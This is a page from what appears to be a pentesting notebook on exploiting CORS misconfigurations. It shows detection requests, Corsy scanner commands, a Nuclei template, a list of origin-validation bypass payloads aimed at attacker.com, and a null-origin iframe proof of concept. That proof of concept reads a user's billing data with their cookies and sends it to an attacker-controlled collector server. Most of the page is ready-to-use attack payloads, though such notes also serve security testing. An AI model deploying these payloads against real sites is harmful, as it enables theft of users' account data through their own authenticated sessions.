CORS

Cross Origin Resource Sharing misconfiguration exploits

A CORS policy allows developers to selectively relax SOP restrictions and allow controlled cross-origin requests. It's a browser security policy that's declared through the Access-Control-Allow-Origin and Access-Control-Allow-Credentials response headers.

CORS Misconfiguration

Detection

Send a request with a likely trusted origin in the Origin: request header and examine the response for any CORS policy reflections.

GET /api/v1/account/ HTTP/2
Host: domain.com
Cookie: session=v77QFGNrzt4upa4W0SuxLFMCOKmEibNo
Accept-Encoding: gzip, deflate
Origin: https://test.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{ā€œdataā€:ā€dataā€}

Scanner

$ Corsy -u https://target.com

$ corsy -i ./targets.txt

Nuclei template

https://github.com/coffinxp/priv8-Nuclei/blob/main/cors.yaml

id: cors-misconfig
info:
  name: CORS Misconfiguration
  author: coffin
  severity: high
  tags: cors,generic,misconfig

http:
  - raw:
      - |
        GET  HTTP/1.1
        Host: {{Hostname}}
        Origin: {{cors_origin}}

    payloads:
      cors_origin:
        - "https://{{tolower(rand_base(5))}}.{{RDN}}" # Find domain in RDN with Misconfiguration
    stop-at-first-match: true
    matchers:
      - type: dsl
        name: arbitrary-origin
        dsl:
          - "contains(tolower(header), 'access-control-allow-origin: {{cors_origin}}')"
          - "contains(tolower(header), 'access-control-allow-credentials: true')"
        condition: and

Burp Extension

To use this extension, simply click on the ā€œActivate CORS* checkboxā€ and browse your target to let the extension do its magic. It will attempt different CORS bypass techniques for all requests passing through your Burp proxy. All you need to do is to check the results.

URL Validation Bypass

Bypassing weak regex pattern validations

# Basic payload list
*                                             # Non-exploitable case
null
https://attacker.com

# More advanced list
https://example.comattacker.com
https://example.com.attacker.com
https://example.computer
https://attacker.comexample.com
https://examplecom
https://localhostexample.com                  # In case 'localhost' is whitelisted
https://subdomain-takeover.example.com        # In case of a subdomain takeover

# Special characters (browser-specific payloads)
https://example.com%attacker.com              # Requires setting up a wildcard so that all subdomains resolve for attacker.com
https://example.com@attacker.com              # Requires setting up a wildcard so that all subdomains resolve for attacker.com
https://example.com`.attacker.com             # Safari-only - Requires setting up a wildcard so that all subdomains resolve for attacker.com

Null Access-Control-Allow-Origin

Payload: Use a sandboxed iframe with allow-scripts and srcdoc to execute a script that:

  • Sends a request to https://api.example.com/api/account/billing including the user's cookies (credentials: 'include').

  • Reads the response, encodes it in base64, and sends it to a malicious server at http://attacker-server/collector.

<!-- CORS proof of concept payload that creates a sandboxed iframe -->
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.example.com/api/account/billing', {
      credentials: 'include'  // Include cookies
    }).then(async (data) => {
      // Forward response to your controlled server (in base64)
      fetch('http://attacker-server/collector?data=' + btoa(await data.text()));
    });
  </script>
">
</iframe>

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Last updated